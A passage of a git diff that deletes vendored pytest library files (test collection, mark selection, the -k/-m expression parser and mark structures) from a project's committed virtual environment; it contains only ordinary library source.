nodes.Item, list[Path | str]]] = [ - (self, [*paths, *names]) - ] - while work: - matchnode, matchparts = work.pop() - - # Pop'd all of the parts, this is a match. - if not matchparts: - yield matchnode - any_matched_in_initial_part = True - continue - - # Should have been matched by now, discard. - if not isinstance(matchnode, nodes.Collector): - continue - - # Collect this level of matching. - # Collecting Session (self) is done directly to avoid endless - # recursion to this function. - subnodes: Sequence[nodes.Collector | nodes.Item] - if isinstance(matchnode, Session): - assert isinstance(matchparts[0], Path) - subnodes = matchnode._collect_path(matchparts[0], path_cache) - else: - # For backward compat, files given directly multiple - # times on the command line should not be deduplicated. - handle_dupes = not ( - len(matchparts) == 1 - and isinstance(matchparts[0], Path) - and matchparts[0].is_file() - ) - rep, duplicate = self._collect_one_node(matchnode, handle_dupes) - if not duplicate and not rep.passed: - # Report collection failures here to avoid failing to - # run some test specified in the command line because - # the module could not be imported (#134). - matchnode.ihook.pytest_collectreport(report=rep) - if not rep.passed: - continue - subnodes = rep.result - - # Prune this level. - any_matched_in_collector = False - for node in reversed(subnodes): - # Path part e.g. `/a/b/` in `/a/b/test_file.py::TestIt::test_it`. - if isinstance(matchparts[0], Path): - is_match = node.path == matchparts[0] - if sys.platform == "win32" and not is_match: - # In case the file paths do not match, fallback to samefile() to - # account for short-paths on Windows (#11895). - same_file = os.path.samefile(node.path, matchparts[0]) - # We don't want to match links to the current node, - # otherwise we would match the same file more than once (#12039). - is_match = same_file and ( - os.path.islink(node.path) - == os.path.islink(matchparts[0]) - ) - - # Name part e.g. `TestIt` in `/a/b/test_file.py::TestIt::test_it`. - else: - # TODO: Remove parametrized workaround once collection structure contains - # parametrization. - is_match = ( - node.name == matchparts[0] - or node.name.split("[")[0] == matchparts[0] - ) - if is_match: - work.append((node, matchparts[1:])) - any_matched_in_collector = True - - if not any_matched_in_collector: - notfound_collectors.append(matchnode) - - if not any_matched_in_initial_part: - report_arg = "::".join((str(argpath), *names)) - self._notfound.append((report_arg, notfound_collectors)) - - self.trace.root.indent -= 1 - - def genitems(self, node: nodes.Item | nodes.Collector) -> Iterator[nodes.Item]: - self.trace("genitems", node) - if isinstance(node, nodes.Item): - node.ihook.pytest_itemcollected(item=node) - yield node - else: - assert isinstance(node, nodes.Collector) - keepduplicates = self.config.getoption("keepduplicates") - # For backward compat, dedup only applies to files. - handle_dupes = not (keepduplicates and isinstance(node, nodes.File)) - rep, duplicate = self._collect_one_node(node, handle_dupes) - if duplicate and not keepduplicates: - return - if rep.passed: - for subnode in rep.result: - yield from self.genitems(subnode) - if not duplicate: - node.ihook.pytest_collectreport(report=rep) - - -def search_pypath(module_name: str) -> str | None: - """Search sys.path for the given a dotted module name, and return its file - system path if found.""" - try: - spec = importlib.util.find_spec(module_name) - # AttributeError: looks like package module, but actually filename - # ImportError: module does not exist - # ValueError: not a module name - except (AttributeError, ImportError, ValueError): - return None - if spec is None or spec.origin is None or spec.origin == "namespace": - return None - elif spec.submodule_search_locations: - return os.path.dirname(spec.origin) - else: - return spec.origin - - -@dataclasses.dataclass(frozen=True) -class CollectionArgument: - """A resolved collection argument.""" - - path: Path - parts: Sequence[str] - module_name: str | None - - -def resolve_collection_argument( - invocation_path: Path, arg: str, *, as_pypath: bool = False -) -> CollectionArgument: - """Parse path arguments optionally containing selection parts and return (fspath, names). - - Command-line arguments can point to files and/or directories, and optionally contain - parts for specific tests selection, for example: - - "pkg/tests/test_foo.py::TestClass::test_foo" - - This function ensures the path exists, and returns a resolved `CollectionArgument`: - - CollectionArgument( - path=Path("/full/path/to/pkg/tests/test_foo.py"), - parts=["TestClass", "test_foo"], - module_name=None, - ) - - When as_pypath is True, expects that the command-line argument actually contains - module paths instead of file-system paths: - - "pkg.tests.test_foo::TestClass::test_foo" - - In which case we search sys.path for a matching module, and then return the *path* to the - found module, which may look like this: - - CollectionArgument( - path=Path("/home/u/myvenv/lib/site-packages/pkg/tests/test_foo.py"), - parts=["TestClass", "test_foo"], - module_name="pkg.tests.test_foo", - ) - - If the path doesn't exist, raise UsageError. - If the path is a directory and selection parts are present, raise UsageError. - """ - base, squacket, rest = str(arg).partition("[") - strpath, *parts = base.split("::") - if parts: - parts[-1] = f"{parts[-1]}{squacket}{rest}" - module_name = None - if as_pypath: - pyarg_strpath = search_pypath(strpath) - if pyarg_strpath is not None: - module_name = strpath - strpath = pyarg_strpath - fspath = invocation_path / strpath - fspath = absolutepath(fspath) - if not safe_exists(fspath): - msg = ( - "module or package not found: {arg} (missing __init__.py?)" - if as_pypath - else "file or directory not found: {arg}" - ) - raise UsageError(msg.format(arg=arg)) - if parts and fspath.is_dir(): - msg = ( - "package argument cannot contain :: selection parts: {arg}" - if as_pypath - else "directory argument cannot contain :: selection parts: {arg}" - ) - raise UsageError(msg.format(arg=arg)) - return CollectionArgument( - path=fspath, - parts=parts, - module_name=module_name, - ) diff --git a/backend/venv/Lib/site-packages/_pytest/mark/__init__.py b/backend/venv/Lib/site-packages/_pytest/mark/__init__.py deleted file mode 100644 index a4f942c5..00000000 --- a/backend/venv/Lib/site-packages/_pytest/mark/__init__.py +++ /dev/null @@ -1,292 +0,0 @@ -"""Generic mechanism for marking and selecting python functions.""" - -from __future__ import annotations - -import collections -import dataclasses -from typing import AbstractSet -from typing import Collection -from typing import Iterable -from typing import Optional -from typing import TYPE_CHECKING - -from .expression import Expression -from .expression import ParseError -from .structures import EMPTY_PARAMETERSET_OPTION -from .structures import get_empty_parameterset_mark -from .structures import Mark -from .structures import MARK_GEN -from .structures import MarkDecorator -from .structures import MarkGenerator -from .structures import ParameterSet -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config import UsageError -from _pytest.config.argparsing import NOT_SET -from _pytest.config.argparsing import Parser -from _pytest.stash import StashKey - - -if TYPE_CHECKING: - from _pytest.nodes import Item - - -__all__ = [ - "MARK_GEN", - "Mark", - "MarkDecorator", - "MarkGenerator", - "ParameterSet", - "get_empty_parameterset_mark", -] - - -old_mark_config_key = StashKey[Optional[Config]]() - - -def param( - *values: object, - marks: MarkDecorator | Collection[MarkDecorator | Mark] = (), - id: str | None = None, -) -> ParameterSet: - """Specify a parameter in `pytest.mark.parametrize`_ calls or - :ref:`parametrized fixtures `. - - .. code-block:: python - - @pytest.mark.parametrize( - "test_input,expected", - [ - ("3+5", 8), - pytest.param("6*9", 42, marks=pytest.mark.xfail), - ], - ) - def test_eval(test_input, expected): - assert eval(test_input) == expected - - :param values: Variable args of the values of the parameter set, in order. - :param marks: A single mark or a list of marks to be applied to this parameter set. - :param id: The id to attribute to this parameter set. - """ - return ParameterSet.param(*values, marks=marks, id=id) - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group._addoption( - "-k", - action="store", - dest="keyword", - default="", - metavar="EXPRESSION", - help="Only run tests which match the given substring expression. " - "An expression is a Python evaluable expression " - "where all names are substring-matched against test names " - "and their parent classes. Example: -k 'test_method or test_" - "other' matches all test functions and classes whose name " - "contains 'test_method' or 'test_other', while -k 'not test_method' " - "matches those that don't contain 'test_method' in their names. " - "-k 'not test_method and not test_other' will eliminate the matches. " - "Additionally keywords are matched to classes and functions " - "containing extra names in their 'extra_keyword_matches' set, " - "as well as functions which have names assigned directly to them. " - "The matching is case-insensitive.", - ) - - group._addoption( - "-m", - action="store", - dest="markexpr", - default="", - metavar="MARKEXPR", - help="Only run tests matching given mark expression. " - "For example: -m 'mark1 and not mark2'.", - ) - - group.addoption( - "--markers", - action="store_true", - help="show markers (builtin, plugin and per-project ones).", - ) - - parser.addini("markers", "Register new markers for test functions", "linelist") - parser.addini(EMPTY_PARAMETERSET_OPTION, "Default marker for empty parametersets") - - -@hookimpl(tryfirst=True) -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - import _pytest.config - - if config.option.markers: - config._do_configure() - tw = _pytest.config.create_terminal_writer(config) - for line in config.getini("markers"): - parts = line.split(":", 1) - name = parts[0] - rest = parts[1] if len(parts) == 2 else "" - tw.write(f"@pytest.mark.{name}:", bold=True) - tw.line(rest) - tw.line() - config._ensure_unconfigure() - return 0 - - return None - - -@dataclasses.dataclass -class KeywordMatcher: - """A matcher for keywords. - - Given a list of names, matches any substring of one of these names. The - string inclusion check is case-insensitive. - - Will match on the name of colitem, including the names of its parents. - Only matches names of items which are either a :class:`Class` or a - :class:`Function`. - - Additionally, matches on names in the 'extra_keyword_matches' set of - any item, as well as names directly assigned to test functions. - """ - - __slots__ = ("_names",) - - _names: AbstractSet[str] - - @classmethod - def from_item(cls, item: Item) -> KeywordMatcher: - mapped_names = set() - - # Add the names of the current item and any parent items, - # except the Session and root Directory's which are not - # interesting for matching. - import pytest - - for node in item.listchain(): - if isinstance(node, pytest.Session): - continue - if isinstance(node, pytest.Directory) and isinstance( - node.parent, pytest.Session - ): - continue - mapped_names.add(node.name) - - # Add the names added as extra keywords to current or parent items. - mapped_names.update(item.listextrakeywords()) - - # Add the names attached to the current function through direct assignment. - function_obj = getattr(item, "function", None) - if function_obj: - mapped_names.update(function_obj.__dict__) - - # Add the markers to the keywords as we no longer handle them correctly. - mapped_names.update(mark.name for mark in item.iter_markers()) - - return cls(mapped_names) - - def __call__(self, subname: str, /, **kwargs: str | int | bool | None) -> bool: - if kwargs: - raise UsageError("Keyword expressions do not support call parameters.") - subname = subname.lower() - names = (name.lower() for name in self._names) - - for name in names: - if subname in name: - return True - return False - - -def deselect_by_keyword(items: list[Item], config: Config) -> None: - keywordexpr = config.option.keyword.lstrip() - if not keywordexpr: - return - - expr = _parse_expression(keywordexpr, "Wrong expression passed to '-k'") - - remaining = [] - deselected = [] - for colitem in items: - if not expr.evaluate(KeywordMatcher.from_item(colitem)): - deselected.append(colitem) - else: - remaining.append(colitem) - - if deselected: - config.hook.pytest_deselected(items=deselected) - items[:] = remaining - - -@dataclasses.dataclass -class MarkMatcher: - """A matcher for markers which are present. - - Tries to match on any marker names, attached to the given colitem. - """ - - __slots__ = ("own_mark_name_mapping",) - - own_mark_name_mapping: dict[str, list[Mark]] - - @classmethod - def from_markers(cls, markers: Iterable[Mark]) -> MarkMatcher: - mark_name_mapping = collections.defaultdict(list) - for mark in markers: - mark_name_mapping[mark.name].append(mark) - return cls(mark_name_mapping) - - def __call__(self, name: str, /, **kwargs: str | int | bool | None) -> bool: - if not (matches := self.own_mark_name_mapping.get(name, [])): - return False - - for mark in matches: - if all(mark.kwargs.get(k, NOT_SET) == v for k, v in kwargs.items()): - return True - - return False - - -def deselect_by_mark(items: list[Item], config: Config) -> None: - matchexpr = config.option.markexpr - if not matchexpr: - return - - expr = _parse_expression(matchexpr, "Wrong expression passed to '-m'") - remaining: list[Item] = [] - deselected: list[Item] = [] - for item in items: - if expr.evaluate(MarkMatcher.from_markers(item.iter_markers())): - remaining.append(item) - else: - deselected.append(item) - if deselected: - config.hook.pytest_deselected(items=deselected) - items[:] = remaining - - -def _parse_expression(expr: str, exc_message: str) -> Expression: - try: - return Expression.compile(expr) - except ParseError as e: - raise UsageError(f"{exc_message}: {expr}: {e}") from None - - -def pytest_collection_modifyitems(items: list[Item], config: Config) -> None: - deselect_by_keyword(items, config) - deselect_by_mark(items, config) - - -def pytest_configure(config: Config) -> None: - config.stash[old_mark_config_key] = MARK_GEN._config - MARK_GEN._config = config - - empty_parameterset = config.getini(EMPTY_PARAMETERSET_OPTION) - - if empty_parameterset not in ("skip", "xfail", "fail_at_collect", None, ""): - raise UsageError( - f"{EMPTY_PARAMETERSET_OPTION!s} must be one of skip, xfail or fail_at_collect" - f" but it is {empty_parameterset!r}" - ) - - -def pytest_unconfigure(config: Config) -> None: - MARK_GEN._config = config.stash.get(old_mark_config_key, None) diff --git a/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 389f422d..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/expression.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/expression.cpython-311.pyc deleted file mode 100644 index bb1eb80d..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/expression.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/structures.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/structures.cpython-311.pyc deleted file mode 100644 index dffa5b7a..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/mark/__pycache__/structures.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/mark/expression.py b/backend/venv/Lib/site-packages/_pytest/mark/expression.py deleted file mode 100644 index 89cc0e94..00000000 --- a/backend/venv/Lib/site-packages/_pytest/mark/expression.py +++ /dev/null @@ -1,333 +0,0 @@ -r"""Evaluate match expressions, as used by `-k` and `-m`. - -The grammar is: - -expression: expr? EOF -expr: and_expr ('or' and_expr)* -and_expr: not_expr ('and' not_expr)* -not_expr: 'not' not_expr | '(' expr ')' | ident kwargs? - -ident: (\w|:|\+|-|\.|\[|\]|\\|/)+ -kwargs: ('(' name '=' value ( ', ' name '=' value )* ')') -name: a valid ident, but not a reserved keyword -value: (unescaped) string literal | (-)?[0-9]+ | 'False' | 'True' | 'None' - -The semantics are: - -- Empty expression evaluates to False. -- ident evaluates to True or False according to a provided matcher function. -- or/and/not evaluate according to the usual boolean semantics. -- ident with parentheses and keyword arguments evaluates to True or False according to a provided matcher function. -""" - -from __future__ import annotations - -import ast -import dataclasses -import enum -import keyword -import re -import types -from typing import Iterator -from typing import Literal -from typing import Mapping -from typing import NoReturn -from typing import overload -from typing import Protocol -from typing import Sequence - - -__all__ = [ - "Expression", - "ParseError", -] - - -class TokenType(enum.Enum): - LPAREN = "left parenthesis" - RPAREN = "right parenthesis" - OR = "or" - AND = "and" - NOT = "not" - IDENT = "identifier" - EOF = "end of input" - EQUAL = "=" - STRING = "string literal" - COMMA = "," - - -@dataclasses.dataclass(frozen=True) -class Token: - __slots__ = ("type", "value", "pos") - type: TokenType - value: str - pos: int - - -class ParseError(Exception): - """The expression contains invalid syntax. - - :param column: The column in the line where the error occurred (1-based). - :param message: A description of the error. - """ - - def __init__(self, column: int, message: str) -> None: - self.column = column - self.message = message - - def __str__(self) -> str: - return f"at column {self.column}: {self.message}" - - -class Scanner: - __slots__ = ("tokens", "current") - - def __init__(self, input: str) -> None: - self.tokens = self.lex(input) - self.current = next(self.tokens) - - def lex(self, input: str) -> Iterator[Token]: - pos = 0 - while pos < len(input): - if input[pos] in (" ", "\t"): - pos += 1 - elif input[pos] == "(": - yield Token(TokenType.LPAREN, "(", pos) - pos += 1 - elif input[pos] == ")": - yield Token(TokenType.RPAREN, ")", pos) - pos += 1 - elif input[pos] == "=": - yield Token(TokenType.EQUAL, "=", pos) - pos += 1 - elif input[pos] == ",": - yield Token(TokenType.COMMA, ",", pos) - pos += 1 - elif (quote_char := input[pos]) in ("'", '"'): - end_quote_pos = input.find(quote_char, pos + 1) - if end_quote_pos == -1: - raise ParseError( - pos + 1, - f'closing quote "{quote_char}" is missing', - ) - value = input[pos : end_quote_pos + 1] - if (backslash_pos := input.find("\\")) != -1: - raise ParseError( - backslash_pos + 1, - r'escaping with "\" not supported in marker expression', - ) - yield Token(TokenType.STRING, value, pos) - pos += len(value) - else: - match = re.match(r"(:?\w|:|\+|-|\.|\[|\]|\\|/)+", input[pos:]) - if match: - value = match.group(0) - if value == "or": - yield Token(TokenType.OR, value, pos) - elif value == "and": - yield Token(TokenType.AND, value, pos) - elif value == "not": - yield Token(TokenType.NOT, value, pos) - else: - yield Token(TokenType.IDENT, value, pos) - pos += len(value) - else: - raise ParseError( - pos + 1, - f'unexpected character "{input[pos]}"', - ) - yield Token(TokenType.EOF, "", pos) - - @overload - def accept(self, type: TokenType, *, reject: Literal[True]) -> Token: ... - - @overload - def accept( - self, type: TokenType, *, reject: Literal[False] = False - ) -> Token | None: ... - - def accept(self, type: TokenType, *, reject: bool = False) -> Token | None: - if self.current.type is type: - token = self.current - if token.type is not TokenType.EOF: - self.current = next(self.tokens) - return token - if reject: - self.reject((type,)) - return None - - def reject(self, expected: Sequence[TokenType]) -> NoReturn: - raise ParseError( - self.current.pos + 1, - "expected {}; got {}".format( - " OR ".join(type.value for type in expected), - self.current.type.value, - ), - ) - - -# True, False and None are legal match expression identifiers, -# but illegal as Python identifiers. To fix this, this prefix -# is added to identifiers in the conversion to Python AST. -IDENT_PREFIX = "$" - - -def expression(s: Scanner) -> ast.Expression: - if s.accept(TokenType.EOF): - ret: ast.expr = ast.Constant(False) - else: - ret = expr(s) - s.accept(TokenType.EOF, reject=True) - return ast.fix_missing_locations(ast.Expression(ret)) - - -def expr(s: Scanner) -> ast.expr: - ret = and_expr(s) - while s.accept(TokenType.OR): - rhs = and_expr(s) - ret = ast.BoolOp(ast.Or(), [ret, rhs]) - return ret - - -def and_expr(s: Scanner) -> ast.expr: - ret = not_expr(s) - while s.accept(TokenType.AND): - rhs = not_expr(s) - ret = ast.BoolOp(ast.And(), [ret, rhs]) - return ret - - -def not_expr(s: Scanner) -> ast.expr: - if s.accept(TokenType.NOT): - return ast.UnaryOp(ast.Not(), not_expr(s)) - if s.accept(TokenType.LPAREN): - ret = expr(s) - s.accept(TokenType.RPAREN, reject=True) - return ret - ident = s.accept(TokenType.IDENT) - if ident: - name = ast.Name(IDENT_PREFIX + ident.value, ast.Load()) - if s.accept(TokenType.LPAREN): - ret = ast.Call(func=name, args=[], keywords=all_kwargs(s)) - s.accept(TokenType.RPAREN, reject=True) - else: - ret = name - return ret - - s.reject((TokenType.NOT, TokenType.LPAREN, TokenType.IDENT)) - - -BUILTIN_MATCHERS = {"True": True, "False": False, "None": None} - - -def single_kwarg(s: Scanner) -> ast.keyword: - keyword_name = s.accept(TokenType.IDENT, reject=True) - if not keyword_name.value.isidentifier(): - raise ParseError( - keyword_name.pos + 1, - f"not a valid python identifier {keyword_name.value}", - ) - if keyword.iskeyword(keyword_name.value): - raise ParseError( - keyword_name.pos + 1, - f"unexpected reserved python keyword `{keyword_name.value}`", - ) - s.accept(TokenType.EQUAL, reject=True) - - if value_token := s.accept(TokenType.STRING): - value: str | int | bool | None = value_token.value[1:-1] # strip quotes - else: - value_token = s.accept(TokenType.IDENT, reject=True) - if ( - (number := value_token.value).isdigit() - or number.startswith("-") - and number[1:].isdigit() - ): - value = int(number) - elif value_token.value in BUILTIN_MATCHERS: - value = BUILTIN_MATCHERS[value_token.value] - else: - raise ParseError( - value_token.pos + 1, - f'unexpected character/s "{value_token.value}"', - ) - - ret = ast.keyword(keyword_name.value, ast.Constant(value)) - return ret - - -def all_kwargs(s: Scanner) -> list[ast.keyword]: - ret = [single_kwarg(s)] - while s.accept(TokenType.COMMA): - ret.append(single_kwarg(s)) - return ret - - -class MatcherCall(Protocol): - def __call__(self, name: str, /, **kwargs: str | int | bool | None) -> bool: ... - - -@dataclasses.dataclass -class MatcherNameAdapter: - matcher: MatcherCall - name: str - - def __bool__(self) -> bool: - return self.matcher(self.name) - - def __call__(self, **kwargs: str | int | bool | None) -> bool: - return self.matcher(self.name, **kwargs) - - -class MatcherAdapter(Mapping[str, MatcherNameAdapter]): - """Adapts a matcher function to a locals mapping as required by eval().""" - - def __init__(self, matcher: MatcherCall) -> None: - self.matcher = matcher - - def __getitem__(self, key: str) -> MatcherNameAdapter: - return MatcherNameAdapter(matcher=self.matcher, name=key[len(IDENT_PREFIX) :]) - - def __iter__(self) -> Iterator[str]: - raise NotImplementedError() - - def __len__(self) -> int: - raise NotImplementedError() - - -class Expression: - """A compiled match expression as used by -k and -m. - - The expression can be evaluated against different matchers. - """ - - __slots__ = ("code",) - - def __init__(self, code: types.CodeType) -> None: - self.code = code - - @classmethod - def compile(self, input: str) -> Expression: - """Compile a match expression. - - :param input: The input expression - one line. - """ - astexpr = expression(Scanner(input)) - code: types.CodeType = compile( - astexpr, - filename="", - mode="eval", - ) - return Expression(code) - - def evaluate(self, matcher: MatcherCall) -> bool: - """Evaluate the match expression. - - :param matcher: - Given an identifier, should return whether it matches or not. - Should be prepared to handle arbitrary strings as input. - - :returns: Whether the expression matches or not. - """ - ret: bool = bool(eval(self.code, {"__builtins__": {}}, MatcherAdapter(matcher))) - return ret diff --git a/backend/venv/Lib/site-packages/_pytest/mark/structures.py b/backend/venv/Lib/site-packages/_pytest/mark/structures.py deleted file mode 100644 index 92ade55f..00000000 --- a/backend/venv/Lib/site-packages/_pytest/mark/structures.py +++ /dev/null @@ -1,615 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import collections.abc -import dataclasses -import inspect -from typing import Any -from typing import Callable -from typing import Collection -from typing import final -from typing import Iterable -from typing import Iterator -from typing import Mapping -from typing import MutableMapping -from typing import NamedTuple -from typing import overload -from typing import Sequence -from typing import TYPE_CHECKING -from typing import TypeVar -from typing import Union -import warnings - -from .._code import getfslineno -from ..compat import ascii_escaped -from ..compat import NOTSET -from ..compat import NotSetType -from _pytest.config import Config -from _pytest.deprecated import check_ispytest -from _pytest.deprecated import MARKED_FIXTURE -from _pytest.outcomes import fail -from _pytest.scope import _ScopeName -from _pytest.warning_types import PytestUnknownMarkWarning - - -if TYPE_CHECKING: - from ..nodes import Node - - -EMPTY_PARAMETERSET_OPTION = "empty_parameter_set_mark" - - -def istestfunc(func) -> bool: - return callable(func) and getattr(func, "__name__", "") != "" - - -def get_empty_parameterset_mark( - config: Config, argnames: Sequence[str], func -) -> MarkDecorator: - from ..nodes import Collector - - fs, lineno = getfslineno(func) - reason = "got empty parameter set %r, function %s at %s:%d" % ( - argnames, - func.__name__, - fs, - lineno, - ) - - requested_mark = config.getini(EMPTY_PARAMETERSET_OPTION) - if requested_mark in ("", None, "skip"): - mark = MARK_GEN.skip(reason=reason) - elif requested_mark == "xfail": - mark = MARK_GEN.xfail(reason=reason, run=False) - elif requested_mark == "fail_at_collect": - f_name = func.__name__ - _, lineno = getfslineno(func) - raise Collector.CollectError( - "Empty parameter set in '%s' at line %d" % (f_name, lineno + 1) - ) - else: - raise LookupError(requested_mark) - return mark - - -class ParameterSet(NamedTuple): - values: Sequence[object | NotSetType] - marks: Collection[MarkDecorator | Mark] - id: str | None - - @classmethod - def param( - cls, - *values: object, - marks: MarkDecorator | Collection[MarkDecorator | Mark] = (), - id: str | None = None, - ) -> ParameterSet: - if isinstance(marks, MarkDecorator): - marks = (marks,) - else: - assert isinstance(marks, collections.abc.Collection) - - if id is not None: - if not isinstance(id, str): - raise TypeError(f"Expected id to be a string, got {type(id)}: {id!r}") - id = ascii_escaped(id) - return cls(values, marks, id) - - @classmethod - def extract_from( - cls, - parameterset: ParameterSet | Sequence[object] | object, - force_tuple: bool = False, - ) -> ParameterSet: - """Extract from an object or objects. - - :param parameterset: - A legacy style parameterset that may or may not be a tuple, - and may or may not be wrapped into a mess of mark objects. - - :param force_tuple: - Enforce tuple wrapping so single argument tuple values - don't get decomposed and break tests. - """ - if isinstance(parameterset, cls): - return parameterset - if force_tuple: - return cls.param(parameterset) - else: - # TODO: Refactor to fix this type-ignore. Currently the following - # passes type-checking but crashes: - # - # @pytest.mark.parametrize(('x', 'y'), [1, 2]) - # def test_foo(x, y): pass - return cls(parameterset, marks=[], id=None) # type: ignore[arg-type] - - @staticmethod - def _parse_parametrize_args( - argnames: str | Sequence[str], - argvalues: Iterable[ParameterSet | Sequence[object] | object], - *args, - **kwargs, - ) -> tuple[Sequence[str], bool]: - if isinstance(argnames, str): - argnames = [x.strip() for x in argnames.split(",") if x.strip()] - force_tuple = len(argnames) == 1 - else: - force_tuple = False - return argnames, force_tuple - - @staticmethod - def _parse_parametrize_parameters( - argvalues: Iterable[ParameterSet | Sequence[object] | object], - force_tuple: bool, - ) -> list[ParameterSet]: - return [ - ParameterSet.extract_from(x, force_tuple=force_tuple) for x in argvalues - ] - - @classmethod - def _for_parametrize( - cls, - argnames: str | Sequence[str], - argvalues: Iterable[ParameterSet | Sequence[object] | object], - func, - config: Config, - nodeid: str, - ) -> tuple[Sequence[str], list[ParameterSet]]: - argnames, force_tuple = cls._parse_parametrize_args(argnames, argvalues) - parameters = cls._parse_parametrize_parameters(argvalues, force_tuple) - del argvalues - - if parameters: - # Check all parameter sets have the correct number of values. - for param in parameters: - if len(param.values) != len(argnames): - msg = ( - '{nodeid}: in "parametrize" the number of names ({names_len}):\n' - " {names}\n" - "must be equal to the number of values ({values_len}):\n" - " {values}" - ) - fail( - msg.format( - nodeid=nodeid, - values=param.values, - names=argnames, - names_len=len(argnames), - values_len=len(param.values), - ), - pytrace=False, - ) - else: - # Empty parameter set (likely computed at runtime): create a single - # parameter set with NOTSET values, with the "empty parameter set" mark applied to it. - mark = get_empty_parameterset_mark(config, argnames, func) - parameters.append( - ParameterSet(values=(NOTSET,) * len(argnames), marks=[mark], id=None) - ) - return argnames, parameters - - -@final -@dataclasses.dataclass(frozen=True) -class Mark: - """A pytest mark.""" - - #: Name of the mark. - name: str - #: Positional arguments of the mark decorator. - args: tuple[Any, ...] - #: Keyword arguments of the mark decorator. - kwargs: Mapping[str, Any] - - #: Source Mark for ids with parametrize Marks. - _param_ids_from: Mark | None = dataclasses.field(default=None, repr=False) - #: Resolved/generated ids with parametrize Marks. - _param_ids_generated: Sequence[str] | None = dataclasses.field( - default=None, repr=False - ) - - def __init__( - self, - name: str, - args: tuple[Any, ...], - kwargs: Mapping[str, Any], - param_ids_from: Mark | None = None, - param_ids_generated: Sequence[str] | None = None, - *, - _ispytest: bool = False, - ) -> None: - """:meta private:""" - check_ispytest(_ispytest) - # Weirdness to bypass frozen=True. - object.__setattr__(self, "name", name) - object.__setattr__(self, "args", args) - object.__setattr__(self, "kwargs", kwargs) - object.__setattr__(self, "_param_ids_from", param_ids_from) - object.__setattr__(self, "_param_ids_generated", param_ids_generated) - - def _has_param_ids(self) -> bool: - return "ids" in self.kwargs or len(self.args) >= 4 - - def combined_with(self, other: Mark) -> Mark: - """Return a new Mark which is a combination of this - Mark and another Mark. - - Combines by appending args and merging kwargs. - - :param Mark other: The mark to combine with. - :rtype: Mark - """ - assert self.name == other.name - - # Remember source of ids with parametrize Marks. - param_ids_from: Mark | None = None - if self.name == "parametrize": - if other._has_param_ids(): - param_ids_from = other - elif self._has_param_ids(): - param_ids_from = self - - return Mark( - self.name, - self.args + other.args, - dict(self.kwargs, **other.kwargs), - param_ids_from=param_ids_from, - _ispytest=True, - ) - - -# A generic parameter designating an object to which a Mark may -# be applied -- a test function (callable) or class. -# Note: a lambda is not allowed, but this can't be represented. -Markable = TypeVar("Markable", bound=Union[Callable[..., object], type]) - - -@dataclasses.dataclass -class MarkDecorator: - """A decorator for applying a mark on test functions and classes. - - ``MarkDecorators`` are created with ``pytest.mark``:: - - mark1 = pytest.mark.NAME # Simple MarkDecorator - mark2 = pytest.mark.NAME(name1=value) # Parametrized MarkDecorator - - and can then be applied as decorators to test functions:: - - @mark2 - def test_function(): - pass - - When a ``MarkDecorator`` is called, it does the following: - - 1. If called with a single class as its only positional argument and no - additional keyword arguments, it attaches the mark to the class so it - gets applied automatically to all test cases found in that class. - - 2. If called with a single function as its only positional argument and - no additional keyword arguments, it attaches the mark to the function, - containing all the arguments already stored internally in the - ``MarkDecorator``. - - 3. When called in any other case, it returns a new ``MarkDecorator`` - instance with the original ``MarkDecorator``'s content updated with - the arguments passed to this call. - - Note: The rules above prevent a ``MarkDecorator`` from storing only a - single function or class reference as its positional argument with no - additional keyword or positional arguments. You can work around this by - using `with_args()`. - """ - - mark: Mark - - def __init__(self, mark: Mark, *, _ispytest: bool = False) -> None: - """:meta private:""" - check_ispytest(_ispytest) - self.mark = mark - - @property - def name(self) -> str: - """Alias for mark.name.""" - return self.mark.name - - @property - def args(self) -> tuple[Any, ...]: - """Alias for mark.args.""" - return self.mark.args - - @property - def kwargs(self) -> Mapping[str, Any]: - """Alias for mark.kwargs.""" - return self.mark.kwargs - - @property - def markname(self) -> str: - """:meta private:""" - return self.name # for backward-compat (2.4.1 had this attr) - - def with_args(self, *args: object, **kwargs: object) -> MarkDecorator: - """Return a MarkDecorator with extra arguments added. - - Unlike calling the MarkDecorator, with_args() can be used even - if the sole argument is a callable/class. - """ - mark = Mark(self.name, args, kwargs, _ispytest=True) - return MarkDecorator(self.mark.combined_with(mark), _ispytest=True) - - # Type ignored because the overloads overlap with an incompatible - # return type. Not much we can do about that. Thankfully mypy picks - # the first match so it works out even if we break the rules. - @overload - def __call__(self, arg: Markable) -> Markable: # type: ignore[overload-overlap] - pass - - @overload - def __call__(self, *args: object, **kwargs: object) -> MarkDecorator: - pass - - def __call__(self, *args: object, **kwargs: object): - """Call the MarkDecorator.""" - if args and not kwargs: - func = args[0] - is_class = inspect.isclass(func) - if len(args) == 1 and (istestfunc(func) or is_class): - store_mark(func, self.mark, stacklevel=3) - return func - return self.with_args(*args, **kwargs) - - -def get_unpacked_marks( - obj: object | type, - *, - consider_mro: bool = True, -) -> list[Mark]: - """Obtain the unpacked marks that are stored on an object. - - If obj is a class and consider_mro is true, return marks applied to - this class and all of its super-classes in MRO order. If consider_mro - is false, only return marks applied directly to this class. - """ - if isinstance(obj, type): - if not consider_mro: - mark_lists = [obj.__dict__.get("pytestmark", [])] - else: - mark_lists = [ - x.__dict__.get("pytestmark", []) for x in reversed(obj.__mro__) - ] - mark_list = [] - for item in mark_lists: - if isinstance(item, list): - mark_list.extend(item) - else: - mark_list.append(item) - else: - mark_attribute = getattr(obj, "pytestmark", []) - if isinstance(mark_attribute, list): - mark_list = mark_attribute - else: - mark_list = [mark_attribute] - return 